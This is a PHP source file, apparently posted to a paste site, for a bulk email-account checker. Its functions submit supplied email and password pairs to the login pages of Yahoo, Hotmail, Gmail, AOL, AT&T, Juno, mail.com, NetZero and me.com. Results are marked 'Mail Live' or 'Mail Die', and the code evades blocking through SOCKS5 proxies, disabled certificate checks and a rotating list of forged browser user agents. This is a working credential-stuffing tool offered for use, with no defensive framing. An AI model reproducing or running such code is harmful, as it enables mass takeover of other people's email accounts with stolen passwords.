            echo "Not found folder";
            return false;
    }
    if (is_file($dirname)) {
        return unlink($dirname);
    }
    $dir = dir($dirname);
    while (false !== $entry = $dir->read()) {
        if ($entry == '.' || $entry == '..') {
            continue;
        }
        rmdirr("$dirname/$entry");
    }
    $dir->close();
    return rmdir($dirname);
}
 
function yahoo($mail,$pass, $_sock){
    $random_text = array("fr",
                    "co.uk",
                    "vn",
                    "ag",                    "br",
                    "ag",                    "ca",
                    "al",
                    "co",
                    "cl",
                    "mx",
                    "pe",
                    "ve",
                    "qc",
                    "dk",
                    "de",
                    "ie",
                    "it",
                    "ar",);
    srand(time());
    $sizeof = count($random_text);
    $random = (rand()%$sizeof);
    $url="http://login.yahoo.com/config/login?.intl=".$random_text[$random]."&.src=ym&login=".$mail."&passwd=".$pass;
    $curl=curl_init();
    curl_setopt($curl, CURLOPT_TIMEOUT, 4);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($curl, CURLOPT_HEADER, true);
    curl_setopt($curl, CURLOPT_URL, $url);
        if($_sock){
            curl_setopt($curl, CURLOPT_PROXY, $_sock);
            curl_setopt($curl, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
    }
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 1);
    $xxx=curl_exec($curl);
    curl_close($curl);
    if(stristr($xxx,"yahoo.com")){
        return 0;
    }else{
        return 1;
    }
}
 
function netzero($mail,$pass, $_sock){
    $url = "https://my.netzero.net/start/login.do";
    $user_agent = "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)";
    $postvars =
    "operation=login&gotoURL=http%3A%2F%2Fmy.netzero.net%2Fstart%2Fwebmail.do%3Fcf%3Dwww&memberId=".$mail."&netzero.net=netzero.com&password=".$pass."&x=56&y=10";
    $cookie = "cookies/netzero";
    @unlink($cookie);
    $curl = curl_init($url);
    curl_setopt($curl, CURLOPT_TIMEOUT, 4);
    curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 1);
    curl_setopt($curl, CURLOPT_HEADER, 1);
    curl_setopt($curl, CURLOPT_POST, 1);
    if($_sock){
            curl_setopt($curl, CURLOPT_PROXY, $_sock);
            curl_setopt($curl, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
    }
    curl_setopt($curl, CURLOPT_POSTFIELDS, $postvars);
    curl_setopt($curl, CURLOPT_COOKIEJAR, $cookie_checkmail);
    // curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    $content = curl_exec ($curl);
    curl_close ($curl);
    unset($curl);
    if(stristr($content,"The Member ID or Password you have entered is incorrect")){
        return 0;
    }
    else{
        return 1;
    }
}
 
function hotmail($username, $password){
    $cookie = 'mail'.rand(1000000,9999999).'123.txt'; 
    @fclose(fopen($cookie,'w'));
    
    $url = "http://www.hotmail.com";
    $s = $this->_curl($url,"",$cookie);
    $link = $this->getStr($s,'var g_QS="','"');
    $link = "https://login.live.com/ppsecure/post.srf?".$link;
    
    $PPFTid = $this->getStr($s,'PPFT" id="','"');
    $PPFTvalue = $this->getStr($s,$PPFTid.'" value="','"');
    $post = "login=".$username."&passwd=".$password."&type=11&LoginOptions=2&MEST=&PPSX=Passp&PPFT=".$PPFTvalue."&idsbho=1&PwdPad=&sso=&i1=1&i2=2&i3=6382&i4=";
    
    $s = $this->_curl($link,$post,$cookie);
    unlink($cookie);
    if(stristr($s,'window.location.replace("http://mail.live.com/default')){
        return TRUE;
    }
    else{
        return FALSE;
    }
}
 
function gmail($mail,$pass, $_sock){
    $api = new analytics_api();
    if($api->login($mail, $pass, $_sock)) {
        return 1;
    }else{
        return 0;
    }
}
 
function att($mail,$pass, $_sock){
    $url = "https://webauth.att.net/auth/webmail/login";
    $xax=explode("@",$mail);
    $domain1=trim($xax[0]);
    $domain2=trim($xax[1]);
    $user_agent = "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)";
    $postvars =
    "passurl=http%3A%2F%2Fwebmail.att.net%2Fwmc%2Fen-US%2Fv%2Fwmgoto%2F4B308384000C20E4000040702223064702&locale=en-US&user=".$mail."&user1=".$domain1."&domain=".$domain2."&passwd=".$pass."&login.x=19&login.y=9&login=Login";
    $cookie = "cookies/att";
    @unlink($cookie);
    $curl = curl_init($url);
    curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);
    curl_setopt($curl, CURLOPT_TIMEOUT, 4);
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 1);
    curl_setopt($curl, CURLOPT_HEADER, 1);
    curl_setopt($curl, CURLOPT_POST, 1);
    if($_sock){
            curl_setopt($curl, CURLOPT_PROXY, $_sock);
            curl_setopt($curl, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
    }
    curl_setopt($curl, CURLOPT_POSTFIELDS, $postvars);
    curl_setopt($curl, CURLOPT_COOKIEJAR, $cookie_checkmail);
    // curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    $content = curl_exec ($curl);
    curl_close ($curl);
    unset($curl);
    if(stristr($content,"Please check and re-enter your e-mail username, domain, and password")){
        return 0;
    }else{
        return 1;
    }
}
 
function aol($mail,$pass, $_sock){
    $url = "https://my.screenname.aol.com/_cqr/login/login.psp";
    $user_agent = "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)";
    $postvars =
    "screenname=".$mail."&password=".$pass."&submitSwitch=1&siteId=aolcomprod&mcState=initialized&authLev=1";
    $cookie = "cookies/aol";
    @unlink($cookie);
    $curl = curl_init($url);
    curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);
    curl_setopt($curl, CURLOPT_TIMEOUT, 4);
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 1);
    curl_setopt($curl, CURLOPT_HEADER, 1);
    curl_setopt($curl, CURLOPT_POST, 1);
    if($_sock){
            curl_setopt($curl, CURLOPT_PROXY, $_sock);
            curl_setopt($curl, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
    }
    curl_setopt($curl, CURLOPT_POSTFIELDS, $postvars);
    curl_setopt($curl, CURLOPT_COOKIEJAR, $cookie_checkmail);
    // curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    $content = curl_exec ($curl);
    curl_close ($curl);
    unset($curl);
    if(stristr($content,"Incorrect Username or Password.")){
        return 0;
    }else{
        return 1;
    }
}
 
function juno($mail,$pass, $_sock){
    $url = "https://webmail.juno.com/cgi-bin/login.cgi?rememberMe=0";
    $user_agent = "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)";
    $postvars =
    "LOGIN=".$mail."&PASSWORD=".$pass."&ajaxSupported=2%2F61220&domain=juno.com";
    $cookie = "cookies/juno";
    @unlink($cookie);
    $curl = curl_init($url);
    curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);
    curl_setopt($curl, CURLOPT_TIMEOUT, 4);
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 1);
    curl_setopt($curl, CURLOPT_HEADER, 1);
    curl_setopt($curl, CURLOPT_POST, 1);
    if($_sock){
            curl_setopt($curl, CURLOPT_PROXY, $_sock);
            curl_setopt($curl, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
    }
    curl_setopt($curl, CURLOPT_POSTFIELDS, $postvars);
    curl_setopt($curl, CURLOPT_COOKIEJAR, $cookie_checkmail);
    // curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    $content = curl_exec ($curl);
    curl_close ($curl);
    unset($curl);
    if(stristr($content,"match our files. Please re-enter your Juno username and password")){
        return 0;
    }else{
        return 1;
    }
}
 
function mmail($mail,$pass, $_sock){
    $url = "https://www.mail.com/auth/login.aspx";
    $user_agent = "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)";
    $postvars ="login=".$mail."&password=".$pass;
    $cookie = "cookies/mmail";
    @unlink($cookie);
    $curl = curl_init($url);
    curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);
    curl_setopt($curl, CURLOPT_TIMEOUT, 4);
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 1);
    curl_setopt($curl, CURLOPT_HEADER, 1);
    curl_setopt($curl, CURLOPT_POST, 1);
    if($_sock){
            curl_setopt($curl, CURLOPT_PROXY, $_sock);
            curl_setopt($curl, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
    }
    curl_setopt($curl, CURLOPT_POSTFIELDS, $postvars);
    curl_setopt($curl, CURLOPT_COOKIEJAR, $cookie_checkmail);
    // curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    $content = curl_exec ($curl);
    curl_close ($curl);
    unset($curl);
    if(stristr($content,"Invalid username")){
        return 0;
    }else{
        return 1;
    }
}
 
function mac($mail,$pass, $_sock){
    $url = "https://auth.me.com/authenticate";
    $user_agent = "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)";
    $postvars =
    "returnURL=aHR0cDovL3d3dy5tZS5jb20vbWFpbC8%3D&service=mail&ssoNamespace=primary-me&anchor=account&cancelURL=http%3A%2F%2Fwww.me.com%2Fmail&formID=loginForm&username=".$mail."&password=".$pass;
    $cookie = "cookies/mac";
    @unlink($cookie);
    $curl = curl_init($url);
    curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);
    curl_setopt($curl, CURLOPT_TIMEOUT, 4);
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 1);
    curl_setopt($curl, CURLOPT_HEADER, 1);
    curl_setopt($curl, CURLOPT_POST, 1);
    if($_sock){
            curl_setopt($curl, CURLOPT_PROXY, $_sock);
            curl_setopt($curl, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
    }
    curl_setopt($curl, CURLOPT_POSTFIELDS, $postvars);
    curl_setopt($curl, CURLOPT_COOKIEJAR, $cookie_checkmail);
    // curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    $content = curl_exec ($curl);
    curl_close ($curl);
    unset($curl);
    if(stristr($content,"Incorrect member name or password.")){
        return 0;
    }else{
        return 1;
    }
}
 
function getmail($xSplit,$xMail,$xPass, $_sock){
    $R_split=$xSplit;
    $mail_text=$xMail;
    $pass_text=$xPass;
    $pieces['xMail'] = $mail_text;
    $pieces['xPass'] = $pass_text;
    if(stristr($pieces['xMail'],"yahoo.")||stristr($pieces['xMail'],"ymail.")||stristr($pieces['xMail'],"rocketmail.")){
        $servername = "Yahoo";
        $k = $this->yahoo($pieces['xMail'],$pieces['xPass'], $_sock);
        if ($k==0){
            $status="<font color=red>Mail Die</font> - ".$servername."";
        }else{
            $status="<font color=green>Mail Live</font> - ".$servername."";
        }
    }
    elseif(stristr($pieces['xMail'],"hotmail.")||stristr($pieces['xMail'],"live.")){
        $servername = "Hotmail";
        if ($this->hotmail($pieces['xMail'],$pieces['xPass'], $_sock)){
            $status="<font color=green>Mail Live</font> - ".$servername."";
        }
        else{
            $status="<font color=red>Mail Die</font> - ".$servername."";
        }
    }elseif(stristr($pieces['xMail'],"gmail.")||stristr($pieces['xMail'],"googlemail.")){
        $servername = "Gmail";
        $k = $this->gmail($pieces['xMail'],$pieces['xPass'], $_sock);
        if ($k==0){
            $status="<font color=red>Mail Die</font> - ".$servername."";
        }
        else{
            $status="<font color=green>Mail Live</font> - ".$servername."";
        }
    }elseif(stristr($pieces['xMail'],"aol.")||stristr($pieces['xMail'],"netscape.")){
        $servername = "AOL";
        $aolname = str_replace("@aol.com","",$pieces['xMail'], $_sock);
        $kaol = $this->aol($aolname,$pieces['xPass'], $_sock);
        if ($kaol==0){
            $status="<font color=red>Mail Die</font> - ".$servername."";
        }
        else{
            $status="<font color=green>Mail Live</font> - ".$servername."";
        }
    }elseif(stristr($pieces['xMail'],"juno")){
        $servername = "Juno";
        $kjuno = $this->juno($pieces['xMail'],$pieces['xPass'], $_sock);
        if ($kjuno==0){
            $status="<font color=red>Mail Die</font> - ".$servername."";
        }
        else{
            $status="<font color=green>Mail Live</font> - ".$servername."";
        }
    }elseif(stristr($pieces['xMail'],"mac.")||stristr($pieces['xMail'],"me.")){
        $servername = "Me-Mac";
        $kmac = $this->mac($pieces['xMail'],$pieces['xPass'], $_sock);
        if ($kmac==0){
            $status="<font color=red>Mail Die</font> - ".$servername."";
        }
        else{
            $status="<font color=green>Mail Live</font> - ".$servername."";
        }
    }elseif(stristr($pieces['xMail'],"netzero.")){
        $servername = "Netzero";
        $knet = $this->netzero($pieces['xMail'],$pieces['xPass'], $_sock);
        if ($knet==0){
            $status="<font color=red>Mail Die</font> - ".$servername."";
        }
        else{
            $status="<font color=green>Mail Live</font> - ".$servername."";
        }
    }elseif(stristr($pieces['xMail'],"ameritech.")||stristr($pieces['xMail'],"att.")||stristr($pieces['xMail'],"bellsouth.")||stristr($pieces['xMail'],"flash.")||stristr($pieces['xMail'],"nvbell.")||stristr($pieces['xMail'],"pacbell.")||stristr($pieces['xMail'],"prodigy.")||stristr($pieces['xMail'],"sbcglobal.")||stristr($pieces['xMail'],"snet.")||stristr($pieces['xMail'],"swbell.")||stristr($pieces['xMail'],"wans.")){
        $servername = "Att";
        $katt = $this->att($pieces['xMail'],$pieces['xPass'], $_sock);
        if ($katt==0){
            $status="<font color=red>Mail Die</font> - ".$servername."";
        }
        else{
            $status="<font color=green>Mail Live</font> - ".$servername."";
        }
    }
    else{
        $status="<font color=grey>Unknow</font>";
    }
    return $status; 
}
 
    
    
    function get_agent($z){
        switch ($z){
            case 0: $agent= "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0"; break;
            case 1: $agent= "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1"; break;
            case 2: $agent= "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)";   break;
            case 3: $agent= "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)";   break;
            case 4: $agent= "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)";   break;
            case 5: $agent= "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)";  break;
            case 6: $agent= "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9a8) Gecko/2007100619 GranParadiso/3.0a8";  break;
            case 7: $agent= "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3"; break;
            case 8: $agent= "Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4325)";   break;
            case 9: $agent= "Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 6.0)";  break;
            case 10:    $agent= "Mozilla/4.0 (compatible; MSIE 5.5b1; Mac_PowerPC)";    break;
            case 11:    $agent= "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)";  break;
            case 12:    $agent= "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; MS-RTC LM 8)";  break;
            case 13:    $agent= "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30)";    break;
            case 14:    $agent= "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1)";    break;
            case 15:    $agent= "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)";    break;
            case 16:    $agent= "Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)";   break;
            case 17:    $agent= "Mozilla/5.0 (X11; U; Linux; it-IT) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.4 (Change: 413 12f13f8)";    break;
            case 18:    $agent= "Mozilla/5.0 (X11; U; Linux; en-GB) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.3 (Change: 239 52c6958)";    break;
            case 19:    $agent= "Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.2 (Change: 189 35c14e0)";  break;
            case 20:    $agent= "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Avant Browser; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)";   break;
            case 21:    $agent= "Mozilla/5.0 (Windows; U; WinNT; en; rv:1.0.2) Gecko/20030311 Beonex/0.8.2-stable"; break;
            case 22:    $agent= "Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.1b1) Gecko/20060601 BonEcho/2.0b1 (Ubuntu-edgy)"; break;
            case 23:    $agent= "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.4pre) Gecko/20070521 Camino/1.6a1pre"; break;
            case 24:    $agent= "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA";  break;
            case 25:    $agent= "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.0.1) Gecko/20021216 Chimera/0.6";  break;
            case 26:    $agent= "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Chrome/2.0.164.0 Safari/530.1";  break;
            case 27:    $agent= "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; Crazy Browser 3.0.0 Beta2)"; break;
            case 28:    $agent= "Mozilla/5.0 (X11; U; Linux i686; en; rv:1.8.1.12) Gecko/20080208 (Debian-1.8.1.12-2) Epiphany/2.20";   break;
            case 29:    $agent= "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1b2pre) Gecko/20081015 Fennec/1.0a1";   break;
            case 30:    $agent= "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6b) Gecko/20031212 Firebird/0.7+";    break;
            case 31:    $agent= "Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5";    break;
            case 32:    $agent= "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3";    break;
            case 33:    $agent= "Mozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9";  break;
            case 34:    $agent= "Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5";  break;
            case 35:    $agent= "Mozilla/4.76 [en] (X11; U; Linux 2.4.9-34 i686)";  break;
            case 36:    $agent= "Mozilla/4.75 [fr] (WinNT; U)"; break;
            case 37:    $agent= "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.52 [en]";   break;
            case 38:    $agent= "Mozilla/4.0 (compatible; MSIE 6.0; ; Linux i686) Opera 7.50 [en]"; break;
            case 39:    $agent= "Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081212 Mozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/526.9 (KHTML, like Gecko) Version/4.0dp1 Safari/526.8";    break;
            case 40:    $agent= "Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.8.0.2) Gecko/20060309 SeaMonkey/1.0"; break;
            case 41:    $agent= "Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.6) Gecko/20050405 Epiphany/1.6.1 (Ubuntu) (Ubuntu package 1.0.2)";  break;
            case 42:    $agent= "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.5) Gecko/20060731 Firefox/1.5.0.5 Flock/0.7.4.1"; break;
            case 43:    $agent= "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.1 Safari/525.19 ";   break;
            case 44:    $agent= "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 ";    break;
        }
        return $agent;
    }
 
    
    
    
    
    
    
    
    
    
    }
    
    
    
?>

Comments

  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎